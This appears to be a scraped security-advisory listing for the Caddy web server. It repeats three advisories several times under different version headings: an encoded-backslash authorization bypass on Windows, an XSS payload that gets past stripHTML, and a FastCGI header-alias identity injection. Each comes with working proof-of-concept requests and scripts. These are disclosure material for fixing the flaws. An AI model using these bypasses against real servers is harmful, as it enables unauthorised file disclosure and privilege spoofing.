file_server then maps the same request path to a filesystem path with SanitizedPathJoin(root, r.URL.Path): modules/caddyhttp/fileserver/staticfiles.go:294, modules/caddyhttp/caddyhttp.go:257, :263.
On Windows, Go filesystem path handling treats \ as a separator, so the default filesystem opens the file under the protected directory: internal/filesystems/os.go:18.

This is related to, but distinct from, GHSA-4xrr-hq4w-6vf4 / CVE-2026-27585. That advisory fixed backslash handling in the file matcher / try_files glob path. This report does not use try_files or the file matcher; it affects ordinary path route matchers in front of direct file_server serving and reproduces on current HEAD.

PoC

Tested on current HEAD 6c675e29f87cbe7326983ddb6d739175119d394c with a Windows caddy.exe built from this repository.

On Windows, create the test files and Caddyfile:

$base = "C:\Users\Public\caddy-backslash-poc"
Remove-Item -Recurse -Force $base -ErrorAction SilentlyContinue
New-Item -ItemType Directory -Force "$base\www\private" | Out-Null
Set-Content -Path "$base\www\private\secret.txt" -Value "SECRET_FROM_WINDOWS_LAB" -NoNewline -Encoding ASCII

@'
{
	debug
	admin off
	auto_https off
}

:19080 {
	log
	root * C:\Users\Public\caddy-backslash-poc\www

	@private path /private/*
	respond @private 403

	file_server
}
'@ | Set-Content -Path "$base\Caddyfile" -Encoding ASCII

Start Caddy:

cd C:\Users\Public\caddy-backslash-poc
.\caddy.exe run --config Caddyfile --adapter caddyfile

Baseline request, expected to be blocked:

curl -v --path-as-is http://<windows-host>:19080/private/secret.txt

Observed:

> GET /private/secret.txt HTTP/1.1
< HTTP/1.1 403 Forbidden

Bypass request:

curl -v --path-as-is 'http://<windows-host>:19080/private%5csecret.txt'

Observed:

> GET /private%5csecret.txt HTTP/1.1
< HTTP/1.1 200 OK
< Content-Length: 23

SECRET_FROM_WINDOWS_LAB

Uppercase %5C produces the same result.

Relevant debug log lines:

{"msg":"using config from file","file":"C:\\Users\\Public\\caddy-backslash-poc\\Caddyfile"}
{"logger":"http.log","msg":"server running","name":"srv0","protocols":["h1","h2","h3"]}
{"logger":"http.log.access","request":{"method":"GET","uri":"/private/secret.txt"},"status":403}
{"logger":"http.log.access","request":{"method":"GET","uri":"/private%5csecret.txt"},"status":200}

Impact

This is a Windows-only remote authorization bypass for deployments that protect static subtrees with Caddy path matchers before file_server.

This pattern is documented by Caddy itself, for example basic_auth /secret/* { ... } followed by file_server.

An attacker can read files that were intended to be protected by Caddy-side basic_auth, respond 403, or other path-scoped handlers. The issue does not escape the configured site root; ..%5c traversal is still blocked. The practical impact is sensitive file disclosure inside the protected subtree, with higher impact if that subtree contains backups, database files, exported admin data, credentials, or signing/session secrets.

Suggested Fix

Normalize Windows path separators consistently before MatchPath evaluates request paths, or reject request paths containing \ before file_server resolves them as filesystem separators.

The important invariant is that a request path used for route authorization must not later resolve to a different protected filesystem path.

AI Disclosure

LLM assistance was used for codebase analysis and report drafting. The PoC was manually validated, including an end-to-end reproduction on a Windows Server lab host using a Windows caddy.exe built from current HEAD.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2022-29718 GHSA-2927-hv3p-f3vp Jun 03, 2022

Open redirect in caddy

6.1 / 10

Medium

Network Low None Required Changed Low Low None

Caddy v2.4 was discovered to contain an open redirect vulnerability. A remote unauthenticated attacker may exploit this vulnerability to redirect users to arbitrary web URLs by tricking the victim users to click on crafted links.

Fixed in


          2.5.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Apr 09, 2019

v0.11.5 patch

4 CVEs

CVE-2026-52846 GHSA-vcc4-2c75-vc9v GO-2026-5660 Jun 16, 2026

Caddy: stripHTML template function bypass

4.2 / 10

Medium

Network High None Required Unchanged Low Low None

Summary

Caddy’s stripHTML template function cannot reliably remove all HTML tags from input strings. Certain malformed HTML, such as <<>img src=x onerror=alert()>, can bypass the tag-stripping logic, potentially leaving dangerous content in the output if it is later rendered as HTML. This may allow client-side XSS in cases where untrusted strings are rendered unsafely.

Details

The vulnerability originates from funcStripHTML in:

caddy/caddy/caddyhttp/templates/tplcontext.go

func (TemplateContext) funcStripHTML(s string) string {
    var buf bytes.Buffer
    var inTag, inQuotes bool
    var tagStart int
    for i, ch := range s {
        if inTag {
            if ch == '>' && !inQuotes {
                inTag = false
            } else if ch == '<' && !inQuotes {
                // false start
                buf.WriteString(s[tagStart:i])
                tagStart = i
            } else if ch == '"' {
                inQuotes = !inQuotes
            }
            continue
        }
        if ch == '<' {
            inTag = true
            tagStart = i
            continue
        }
        buf.WriteRune(ch)
    }
    if inTag {
        // false start
        buf.WriteString(s[tagStart:])
    }
    return buf.String()
}

POC

Caddyfile setup

:8080 {
    root * ./site
    file_server
    templates
}

Template file (index.html)

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>StripHTML Bypass Test</title>
</head>
<body>
    <p>{{ stripHTML "<<>img src=x onerror=alert('XSS')>" }}</p>
</body>
</html>

The payload exploits the false start branch to smuggle a literal < back into the output, then uses the following > to terminate the parser’s tag state, leaving a valid <img ...> tag behind.

Tested in v2.11.3

Impact

Malformed HTML can bypass stripHTML, potentially allowing arbitrary HTML or JavaScript to be rendered if the output is used unsafely, leading to client-side XSS.

AI Disclosure

AI assisted in writing the report description; however, the discovery of the issue has been done manually.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2026-52845 GHSA-f59h-q822-g45g GO-2026-5346 Jun 16, 2026

Caddy: FastCGI header normalization bypass in `forward_auth copy_headers`

8.1 / 10

High

Network Low Low None Unchanged High High None

Summary

forward_auth copy_headers deletes the exact client-supplied identity header before copying the trusted value from the auth gateway. But when the request later goes through php_fastcgi, Caddy normalizes HTTP headers into CGI variables by replacing - with _.

This lets a client send an underscore alias that survives the forward_auth delete step but becomes the same PHP/FastCGI variable:

Remote-Groups  -> HTTP_REMOTE_GROUPS
Remote_Groups  -> HTTP_REMOTE_GROUPS

Remote-User    -> HTTP_REMOTE_USER
Remote_User    -> HTTP_REMOTE_USER

Result: a remote client can inject or sometimes override identity/group headers trusted by PHP/FastCGI applications behind Caddy.

Details

forward_auth copy_headers intentionally removes client-controlled headers before setting values from the auth response:

modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:212
modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:222

That delete is exact-field deletion through http.Header.Del():

modules/caddyhttp/headers/headers.go:255
modules/caddyhttp/headers/headers.go:281

So deleting Remote-Groups does not delete Remote_Groups.

Later, FastCGI exports all request headers into CGI variables:

modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:410
modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:414
modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:510

The normalizer replaces hyphens with underscores:

strings.NewReplacer(" ", "_", "-", "_")

So the trusted header and the attacker-controlled alias collide in the backend-visible CGI/PHP namespace.

This is distinct from GHSA-7r4p-vjf4-gxv4. That issue allowed exact copied headers to survive. This report reproduces after the exact-header fix because the bypass uses a different HTTP field name that only becomes equivalent during Caddy's FastCGI export.

PoC

Run from the Caddy repository root with bash:

set -euo pipefail

tmpdir=$(mktemp -d /tmp/caddy-fastcgi-header-collision.XXXXXX)
mkdir -p "$tmpdir/www"
printf '<?php echo "ok"; ?>\n' > "$tmpdir/www/index.php"

cat > "$tmpdir/servers.go" <<'GO'
package main

import (
	"fmt"
	"log"
	"net"
	"net/http"
	"net/http/fcgi"
)

func main() {
	go func() {
		mux := http.NewServeMux()
		mux.HandleFunc("/auth", func(w http.ResponseWriter, r *http.Request) {
			w.Header().Set("Remote-User", "alice")
			w.WriteHeader(http.StatusNoContent)
		})
		log.Fatal(http.ListenAndServe("127.0.0.1:19011", mux))
	}()

	ln, err := net.Listen("tcp", "127.0.0.1:19010")
	if err != nil {
		log.Fatal(err)
	}
	log.Fatal(fcgi.Serve(ln, http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		fmt.Fprintf(w, "HTTP_REMOTE_USER=%s\nHTTP_REMOTE_GROUPS=%s\n",
			r.Header.Get("Remote-User"),
			r.Header.Get("Remote-Groups"))
	})))
}
GO

cat > "$tmpdir/Caddyfile" <<EOF
{
	admin off
	auto_https off
	debug
}

:9082 {
	log
	root * $tmpdir/www
	forward_auth 127.0.0.1:19011 {
		uri /auth
		copy_headers Remote-User Remote-Groups
	}
	php_fastcgi 127.0.0.1:19010
}
EOF

cleanup() {
	kill "${caddy_pid:-}" "${servers_pid:-}" 2>/dev/null || true
}
trap cleanup EXIT

go run "$tmpdir/servers.go" >"$tmpdir/servers.log" 2>&1 &
servers_pid=$!

for i in $(seq 1 80); do
	if (echo > /dev/tcp/127.0.0.1/19011) >/dev/null 2>&1 &&
	   (echo > /dev/tcp/127.0.0.1/19010) >/dev/null 2>&1; then
		break
	fi
	sleep 0.25
done

go run ./cmd/caddy run --config "$tmpdir/Caddyfile" --adapter caddyfile >"$tmpdir/caddy.log" 2>&1 &
caddy_pid=$!

for i in $(seq 1 80); do
	if (echo > /dev/tcp/127.0.0.1/9082) >/dev/null 2>&1; then
		break
	fi
	sleep 0.25
done

curl --noproxy '*' -v http://127.0.0.1:9082/index.php
curl --noproxy '*' -v -H 'Remote_Groups: admin' http://127.0.0.1:9082/index.php
cat "$tmpdir/caddy.log"

Observed on commit 6c675e29f87cbe7326983ddb6d739175119d394c:

Baseline:

> GET /index.php HTTP/1.1
< HTTP/1.1 200 OK

HTTP_REMOTE_USER=alice
HTTP_REMOTE_GROUPS=

With attacker header:

> GET /index.php HTTP/1.1
> Remote_Groups: admin
< HTTP/1.1 200 OK

HTTP_REMOTE_USER=alice
HTTP_REMOTE_GROUPS=admin

Caddy debug log confirms the FastCGI environment contained:

"HTTP_REMOTE_USER": "alice"
"HTTP_REMOTE_GROUPS": "admin"

The auth gateway returned Remote-User: alice only. It never returned Remote-Groups.

Impact

This affects Caddy deployments that use:

forward_auth with copy_headers for identity or authorization headers;
php_fastcgi / FastCGI after the auth check;
a PHP/FastCGI application that trusts the resulting HTTP_* variables.

Impact examples:

deterministic group/role injection when the auth gateway omits an optional header, e.g. Remote_Groups: admin becomes HTTP_REMOTE_GROUPS=admin;
probabilistic user impersonation when both the auth gateway and client provide colliding identity headers, e.g. Remote-User and Remote_User both map to HTTP_REMOTE_USER.

Realistic examples include trusted-header SSO deployments such as Firefly III remote_user_guard using HTTP_REMOTE_USER, or MediaWiki Auth_remoteuser using HTTP_X_AUTHENTIK_USERNAME.

AI disclosure

The LLM was used to help analyze the Caddy codebase, compare relevant code paths, draft the report, and organize reproduction steps. Human security research judgment and insight were used to guide the investigation, validate the root cause, run the local reproduction, assess impact, and make the final report conclusions.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2026-52844 GHSA-qrp7-cvwr-j2c6 GO-2026-5595 Jun 16, 2026

Caddy: Windows `file_server` path authorization bypass via encoded backslash

7.5 / 10

High

Network Low None None Unchanged High None None

Summary

On Windows, Caddy path matchers treat /private\secret.txt as outside /private/*, but file_server later resolves the same request path as private\secret.txt on disk.

An unauthenticated remote client can request /private%5csecret.txt and bypass Caddy path-scoped auth/deny routes protecting /private/*.

Details

The mismatch is between two Caddy code paths:

MatchPath.MatchWithError() compares r.URL.Path using URL path semantics and does not normalize \ to /: modules/caddyhttp/matchers.go:429, :436, :490, :532.
If the route matcher misses, Caddy skips that route: modules/caddyhttp/routes.go:271.
file_server then maps the same request path to a filesystem path with SanitizedPathJoin(root, r.URL.Path): modules/caddyhttp/fileserver/staticfiles.go:294, modules/caddyhttp/caddyhttp.go:257, :263.
On Windows, Go filesystem path handling treats \ as a separator, so the default filesystem opens the file under the protected directory: internal/filesystems/os.go:18.

This is related to, but distinct from, GHSA-4xrr-hq4w-6vf4 / CVE-2026-27585. That advisory fixed backslash handling in the file matcher / try_files glob path. This report does not use try_files or the file matcher; it affects ordinary path route matchers in front of direct file_server serving and reproduces on current HEAD.

PoC

Tested on current HEAD 6c675e29f87cbe7326983ddb6d739175119d394c with a Windows caddy.exe built from this repository.

On Windows, create the test files and Caddyfile:

$base = "C:\Users\Public\caddy-backslash-poc"
Remove-Item -Recurse -Force $base -ErrorAction SilentlyContinue
New-Item -ItemType Directory -Force "$base\www\private" | Out-Null
Set-Content -Path "$base\www\private\secret.txt" -Value "SECRET_FROM_WINDOWS_LAB" -NoNewline -Encoding ASCII

@'
{
	debug
	admin off
	auto_https off
}

:19080 {
	log
	root * C:\Users\Public\caddy-backslash-poc\www

	@private path /private/*
	respond @private 403

	file_server
}
'@ | Set-Content -Path "$base\Caddyfile" -Encoding ASCII

Start Caddy:

cd C:\Users\Public\caddy-backslash-poc
.\caddy.exe run --config Caddyfile --adapter caddyfile

Baseline request, expected to be blocked:

curl -v --path-as-is http://<windows-host>:19080/private/secret.txt

Observed:

> GET /private/secret.txt HTTP/1.1
< HTTP/1.1 403 Forbidden

Bypass request:

curl -v --path-as-is 'http://<windows-host>:19080/private%5csecret.txt'

Observed:

> GET /private%5csecret.txt HTTP/1.1
< HTTP/1.1 200 OK
< Content-Length: 23

SECRET_FROM_WINDOWS_LAB

Uppercase %5C produces the same result.

Relevant debug log lines:

{"msg":"using config from file","file":"C:\\Users\\Public\\caddy-backslash-poc\\Caddyfile"}
{"logger":"http.log","msg":"server running","name":"srv0","protocols":["h1","h2","h3"]}
{"logger":"http.log.access","request":{"method":"GET","uri":"/private/secret.txt"},"status":403}
{"logger":"http.log.access","request":{"method":"GET","uri":"/private%5csecret.txt"},"status":200}

Impact

This is a Windows-only remote authorization bypass for deployments that protect static subtrees with Caddy path matchers before file_server.

This pattern is documented by Caddy itself, for example basic_auth /secret/* { ... } followed by file_server.

An attacker can read files that were intended to be protected by Caddy-side basic_auth, respond 403, or other path-scoped handlers. The issue does not escape the configured site root; ..%5c traversal is still blocked. The practical impact is sensitive file disclosure inside the protected subtree, with higher impact if that subtree contains backups, database files, exported admin data, credentials, or signing/session secrets.

Suggested Fix

Normalize Windows path separators consistently before MatchPath evaluates request paths, or reject request paths containing \ before file_server resolves them as filesystem separators.

The important invariant is that a request path used for route authorization must not later resolve to a different protected filesystem path.

AI Disclosure

LLM assistance was used for codebase analysis and report drafting. The PoC was manually validated, including an end-to-end reproduction on a Windows Server lab host using a Windows caddy.exe built from current HEAD.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2022-29718 GHSA-2927-hv3p-f3vp Jun 03, 2022

Open redirect in caddy

6.1 / 10

Medium

Network Low None Required Changed Low Low None

Caddy v2.4 was discovered to contain an open redirect vulnerability. A remote unauthenticated attacker may exploit this vulnerability to redirect users to arbitrary web URLs by tricking the victim users to click on crafted links.

Fixed in


          2.5.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Mar 04, 2019

v0.11.4 patch

4 CVEs

CVE-2026-52846 GHSA-vcc4-2c75-vc9v GO-2026-5660 Jun 16, 2026

Caddy: stripHTML template function bypass

4.2 / 10

Medium

Network High None Required Unchanged Low Low None

Summary

Caddy’s stripHTML template function cannot reliably remove all HTML tags from input strings. Certain malformed HTML, such as <<>img src=x onerror=alert()>, can bypass the tag-stripping logic, potentially leaving dangerous content in the output if it is later rendered as HTML. This may allow client-side XSS in cases where untrusted strings are rendered unsafely.

Details

The vulnerability originates from funcStripHTML in:

caddy/caddy/caddyhttp/templates/tplcontext.go

func (TemplateContext) funcStripHTML(s string) string {
    var buf bytes.Buffer
    var inTag, inQuotes bool
    var tagStart int
    for i, ch := range s {
        if inTag {
            if ch == '>' && !inQuotes {
                inTag = false
            } else if ch == '<' && !inQuotes {
                // false start
                buf.WriteString(s[tagStart:i])
                tagStart = i
            } else if ch == '"' {
                inQuotes = !inQuotes
            }
            continue
        }
        if ch == '<' {
            inTag = true
            tagStart = i
            continue
        }
        buf.WriteRune(ch)
    }
    if inTag {
        // false start
        buf.WriteString(s[tagStart:])
    }
    return buf.String()
}

POC

Caddyfile setup

:8080 {
    root * ./site
    file_server
    templates
}

Template file (index.html)

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>StripHTML Bypass Test</title>
</head>
<body>
    <p>{{ stripHTML "<<>img src=x onerror=alert('XSS')>" }}</p>
</body>
</html>

The payload exploits the false start branch to smuggle a literal < back into the output, then uses the following > to terminate the parser’s tag state, leaving a valid <img ...> tag behind.

Tested in v2.11.3

Impact

Malformed HTML can bypass stripHTML, potentially allowing arbitrary HTML or JavaScript to be rendered if the output is used unsafely, leading to client-side XSS.

AI Disclosure

AI assisted in writing the report description; however, the discovery of the issue has been done manually.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2026-52845 GHSA-f59h-q822-g45g GO-2026-5346 Jun 16, 2026

Caddy: FastCGI header normalization bypass in `forward_auth copy_headers`

8.1 / 10

High

Network Low Low None Unchanged High High None

Summary

forward_auth copy_headers deletes the exact client-supplied identity header before copying the trusted value from the auth gateway. But when the request later goes through php_fastcgi, Caddy normalizes HTTP headers into CGI variables by replacing - with _.

This lets a client send an underscore alias that survives the forward_auth delete step but becomes the same PHP/FastCGI variable:

Remote-Groups  -> HTTP_REMOTE_GROUPS
Remote_Groups  -> HTTP_REMOTE_GROUPS

Remote-User    -> HTTP_REMOTE_USER
Remote_User    -> HTTP_REMOTE_USER

Result: a remote client can inject or sometimes override identity/group headers trusted by PHP/FastCGI applications behind Caddy.

Details

forward_auth copy_headers intentionally removes client-controlled headers before setting values from the auth response:

modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:212
modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:222

That delete is exact-field deletion through http.Header.Del():

modules/caddyhttp/headers/headers.go:255
modules/caddyhttp/headers/headers.go:281

So deleting Remote-Groups does not delete Remote_Groups.

Later, FastCGI exports all request headers into CGI variables:

modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:410
modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:414
modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:510

The normalizer replaces hyphens with underscores:

strings.NewReplacer(" ", "_", "-", "_")

So the trusted header and the attacker-controlled alias collide in the backend-visible CGI/PHP namespace.

This is distinct from GHSA-7r4p-vjf4-gxv4. That issue allowed exact copied headers to survive. This report reproduces after the exact-header fix because the bypass uses a different HTTP field name that only becomes equivalent during Caddy's FastCGI export.

PoC

Run from the Caddy repository root with bash:

set -euo pipefail

tmpdir=$(mktemp -d /tmp/caddy-fastcgi-header-collision.XXXXXX)
mkdir -p "$tmpdir/www"
printf '<?php echo "ok"; ?>\n' > "$tmpdir/www/index.php"

cat > "$tmpdir/servers.go" <<'GO'
package main

import (
	"fmt"
	"log"
	"net"
	"net/http"
	"net/http/fcgi"
)

func main() {
	go func() {
		mux := http.NewServeMux()
		mux.HandleFunc("/auth", func(w http.ResponseWriter, r *http.Request) {
			w.Header().Set("Remote-User", "alice")
			w.WriteHeader(http.StatusNoContent)
		})
		log.Fatal(http.ListenAndServe("127.0.0.1:19011", mux))
	}()

	ln, err := net.Listen("tcp", "127.0.0.1:19010")
	if err != nil {
		log.Fatal(err)
	}
	log.Fatal(fcgi.Serve(ln, http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		fmt.Fprintf(w, "HTTP_REMOTE_USER=%s\nHTTP_REMOTE_GROUPS=%s\n",
			r.Header.Get("Remote-User"),
			r.Header.Get("Remote-Groups"))
	})))
}
GO

cat > "$tmpdir/Caddyfile" <<EOF
{
	admin off
	auto_https off
	debug
}

:9082 {
	log
	root * $tmpdir/www
	forward_auth 127.0.0.1:19011 {
		uri /auth
		copy_headers Remote-User Remote-Groups
	}
	php_fastcgi 127.0.0.1:19010
}
EOF

cleanup() {
	kill "${caddy_pid:-}" "${servers_pid:-}" 2>/dev/null || true
}
trap cleanup EXIT

go run "$tmpdir/servers.go" >"$tmpdir/servers.log" 2>&1 &
servers_pid=$!

for i in $(seq 1 80); do
	if (echo > /dev/tcp/127.0.0.1/19011) >/dev/null 2>&1 &&
	   (echo > /dev/tcp/127.0.0.1/19010) >/dev/null 2>&1; then
		break
	fi
	sleep 0.25
done

go run ./cmd/caddy run --config "$tmpdir/Caddyfile" --adapter caddyfile >"$tmpdir/caddy.log" 2>&1 &
caddy_pid=$!

for i in $(seq 1 80); do
	if (echo > /dev/tcp/127.0.0.1/9082) >/dev/null 2>&1; then
		break
	fi
	sleep 0.25
done

curl --noproxy '*' -v http://127.0.0.1:9082/index.php
curl --noproxy '*' -v -H 'Remote_Groups: admin' http://127.0.0.1:9082/index.php
cat "$tmpdir/caddy.log"

Observed on commit 6c675e29f87cbe7326983ddb6d739175119d394c:

Baseline:

> GET /index.php HTTP/1.1
< HTTP/1.1 200 OK

HTTP_REMOTE_USER=alice
HTTP_REMOTE_GROUPS=

With attacker header:

> GET /index.php HTTP/1.1
> Remote_Groups: admin
< HTTP/1.1 200 OK

HTTP_REMOTE_USER=alice
HTTP_REMOTE_GROUPS=admin

Caddy debug log confirms the FastCGI environment contained:

"HTTP_REMOTE_USER": "alice"
"HTTP_REMOTE_GROUPS": "admin"

The auth gateway returned Remote-User: alice only. It never returned Remote-Groups.

Impact

This affects Caddy deployments that use:

forward_auth with copy_headers for identity or authorization headers;
php_fastcgi / FastCGI after the auth check;
a PHP/FastCGI application that trusts the resulting HTTP_* variables.

Impact examples:

deterministic group/role injection when the auth gateway omits an optional header, e.g. Remote_Groups: admin becomes HTTP_REMOTE_GROUPS=admin;
probabilistic user impersonation when both the auth gateway and client provide colliding identity headers, e.g. Remote-User and Remote_User both map to HTTP_REMOTE_USER.

Realistic examples include trusted-header SSO deployments such as Firefly III remote_user_guard using HTTP_REMOTE_USER, or MediaWiki Auth_remoteuser using HTTP_X_AUTHENTIK_USERNAME.

AI disclosure

The LLM was used to help analyze the Caddy codebase, compare relevant code paths, draft the report, and organize reproduction steps. Human security research judgment and insight were used to guide the investigation, validate the root cause, run the local reproduction, assess impact, and make the final report conclusions.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2026-52844 GHSA-qrp7-cvwr-j2c6 GO-2026-5595 Jun 16, 2026

Caddy: Windows `file_server` path authorization bypass via encoded backslash

7.5 / 10

High

Network Low None None Unchanged High None None

Summary

On Windows, Caddy path matchers treat /private\secret.txt as outside /private/*, but file_server later resolves the same request path as private\secret.txt on disk.

An unauthenticated remote client can request /private%5csecret.txt and bypass Caddy path-scoped auth/deny routes protecting /private/*.

Details

The mismatch is between two Caddy code paths:

MatchPath.MatchWithError() compares r.URL.Path using URL path semantics and does not normalize \ to /: modules/caddyhttp/matchers.go:429, :436, :490, :532.
If the route matcher misses, Caddy skips that route: modules/caddyhttp/routes.go:271.
file_server then maps the same request path to a filesystem path with SanitizedPathJoin(root, r.URL.Path): modules/caddyhttp/fileserver/staticfiles.go:294, modules/caddyhttp/caddyhttp.go:257, :263.
On Windows, Go filesystem path handling treats \ as a separator, so the default filesystem opens the file under the protected directory: internal/filesystems/os.go:18.

This is related to, but distinct from, GHSA-4xrr-hq4w-6vf4 / CVE-2026-27585. That advisory fixed backslash handling in the file matcher / try_files glob path. This report does not use try_files or the file matcher; it affects ordinary path route matchers in front of direct file_server serving and reproduces on current HEAD.

PoC

Tested on current HEAD 6c675e29f87cbe7326983ddb6d739175119d394c with a Windows caddy.exe built from this repository.

On Windows, create the test files and Caddyfile:

$base = "C:\Users\Public\caddy-backslash-poc"
Remove-Item -Recurse -Force $base -ErrorAction SilentlyContinue
New-Item -ItemType Directory -Force "$base\www\private" | Out-Null
Set-Content -Path "$base\www\private\secret.txt" -Value "SECRET_FROM_WINDOWS_LAB" -NoNewline -Encoding ASCII

@'
{
	debug
	admin off
	auto_https off
}

:19080 {
	log
	root * C:\Users\Public\caddy-backslash-poc\www

	@private path /private/*
	respond @private 403

	file_server
}
'@ | Set-Content -Path "$base\Caddyfile" -Encoding ASCII

Start Caddy:

cd C:\Users\Public\caddy-backslash-poc
.\caddy.exe run --config Caddyfile --adapter caddyfile

Baseline request, expected to be blocked:

curl -v --path-as-is http://<windows-host>:19080/private/secret.txt

Observed:

> GET /private/secret.txt HTTP/1.1
< HTTP/1.1 403 Forbidden

Bypass request:

curl -v --path-as-is 'http://<windows-host>:19080/private%5csecret.txt'

Observed:

> GET /private%5csecret.txt HTTP/1.1
< HTTP/1.1 200 OK
< Content-Length: 23

SECRET_FROM_WINDOWS_LAB

Uppercase %5C produces the same result.

Relevant debug log lines:

{"msg":"using config from file","file":"C:\\Users\\Public\\caddy-backslash-poc\\Caddyfile"}
{"logger":"http.log","msg":"server running","name":"srv0","protocols":["h1","h2","h3"]}
{"logger":"http.log.access","request":{"method":"GET","uri":"/private/secret.txt"},"status":403}
{"logger":"http.log.access","request":{"method":"GET","uri":"/private%5csecret.txt"},"status":200}

Impact

This is a Windows-only remote authorization bypass for deployments that protect static subtrees with Caddy path matchers before file_server.

This pattern is documented by Caddy itself, for example basic_auth /secret/* { ... } followed by file_server.

An attacker can read files that were intended to be protected by Caddy-side basic_auth, respond 403, or other path-scoped handlers. The issue does not escape the configured site root; ..%5c traversal is still blocked. The practical impact is sensitive file disclosure inside the protected subtree, with higher impact if that subtree contains backups, database files, exported admin data, credentials, or signing/session secrets.

Suggested Fix

Normalize Windows path separators consistently before MatchPath evaluates request paths, or reject request paths containing \ before file_server resolves them as filesystem separators.

The important invariant is that a request path used for route authorization must not later resolve to a different protected filesystem path.

AI Disclosure

LLM assistance was used for codebase analysis and report drafting. The PoC was manually validated, including an end-to-end reproduction on a Windows Server lab host using a Windows caddy.exe built from current HEAD.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2022-29718 GHSA-2927-hv3p-f3vp Jun 03, 2022

Open redirect in caddy

6.1 / 10

Medium

Network Low None Required Changed Low Low None

Caddy v2.4 was discovered to contain an open redirect vulnerability. A remote unauthenticated attacker may exploit this vulnerability to redirect users to arbitrary web URLs by tricking the victim users to click on crafted links.

Fixed in


          2.5.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Feb 15, 2019

v0.11.3 patch

4 CVEs

CVE-2026-52846 GHSA-vcc4-2c75-vc9v GO-2026-5660 Jun 16, 2026

Caddy: stripHTML template function bypass

4.2 / 10

Medium

Network High None Required Unchanged Low Low None

Summary

Caddy’s stripHTML template function cannot reliably remove all HTML tags from input strings. Certain malformed HTML, such as <<>img src=x onerror=alert()>, can bypass the tag-stripping logic, potentially leaving dangerous content in the output if it is later rendered as HTML. This may allow client-side XSS in cases where untrusted strings are rendered unsafely.

Details

The vulnerability originates from funcStripHTML in:

caddy/caddy/caddyhttp/templates/tplcontext.go

func (TemplateContext) funcStripHTML(s string) string {
    var buf bytes.Buffer
    var inTag, inQuotes bool
    var tagStart int
    for i, ch := range s {
        if inTag {
            if ch == '>' && !inQuotes {
                inTag = false
            } else if ch == '<' && !inQuotes {
                // false start
                buf.WriteString(s[tagStart:i])
                tagStart = i
            } else if ch == '"' {
                inQuotes = !inQuotes
            }
            continue
        }
        if ch == '<' {
            inTag = true
            tagStart = i
            continue
        }
        buf.WriteRune(ch)
    }
    if inTag {
        // false start
        buf.WriteString(s[tagStart:])
    }
    return buf.String()
}

POC

Caddyfile setup

:8080 {
    root * ./site
    file_server
    templates
}

Template file (index.html)

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>StripHTML Bypass Test</title>
</head>
<body>
    <p>{{ stripHTML "<<>img src=x onerror=alert('XSS')>" }}</p>
</body>
</html>

The payload exploits the false start branch to smuggle a literal < back into the output, then uses the following > to terminate the parser’s tag state, leaving a valid <img ...> tag behind.

Tested in v2.11.3

Impact

Malformed HTML can bypass stripHTML, potentially allowing arbitrary HTML or JavaScript to be rendered if the output is used unsafely, leading to client-side XSS.

AI Disclosure

AI assisted in writing the report description; however, the discovery of the issue has been done manually.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2026-52845 GHSA-f59h-q822-g45g GO-2026-5346 Jun 16, 2026

Caddy: FastCGI header normalization bypass in `forward_auth copy_headers`

8.1 / 10

High

Network Low Low None Unchanged High High None

Summary

forward_auth copy_headers deletes the exact client-supplied identity header before copying the trusted value from the auth gateway. But when the request later goes through php_fastcgi, Caddy normalizes HTTP headers into CGI variables by replacing - with _.

This lets a client send an underscore alias that survives the forward_auth delete step but becomes the same PHP/FastCGI variable:

Remote-Groups  -> HTTP_REMOTE_GROUPS
Remote_Groups  -> HTTP_REMOTE_GROUPS

Remote-User    -> HTTP_REMOTE_USER
Remote_User    -> HTTP_REMOTE_USER

Result: a remote client can inject or sometimes override identity/group headers trusted by PHP/FastCGI applications behind Caddy.

Details

forward_auth copy_headers intentionally removes client-controlled headers before setting values from the auth response:

modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:212
modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:222

That delete is exact-field deletion through http.Header.Del():

modules/caddyhttp/headers/headers.go:255
modules/caddyhttp/headers/headers.go:281

So deleting Remote-Groups does not delete Remote_Groups.

Later, FastCGI exports all request headers into CGI variables:

modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:410
modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:414
modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:510

The normalizer replaces hyphens with underscores:

strings.NewReplacer(" ", "_", "-", "_")

So the trusted header and the attacker-controlled alias collide in the backend-visible CGI/PHP namespace.

This is distinct from GHSA-7r4p-vjf4-gxv4. That issue allowed exact copied headers to survive. This report reproduces after the exact-header fix because the bypass uses a different HTTP field name that only becomes equivalent during Caddy's FastCGI export.

PoC

Run from the Caddy repository root with bash:

set -euo pipefail

tmpdir=$(mktemp -d /tmp/caddy-fastcgi-header-collision.XXXXXX)
mkdir -p "$tmpdir/www"
printf '<?php echo "ok"; ?>\n' > "$tmpdir/www/index.php"

cat > "$tmpdir/servers.go" <<'GO'
package main

import (
	"fmt"
	"log"
	"net"
	"net/http"
	"net/http/fcgi"
)

func main() {
	go func() {
		mux := http.NewServeMux()
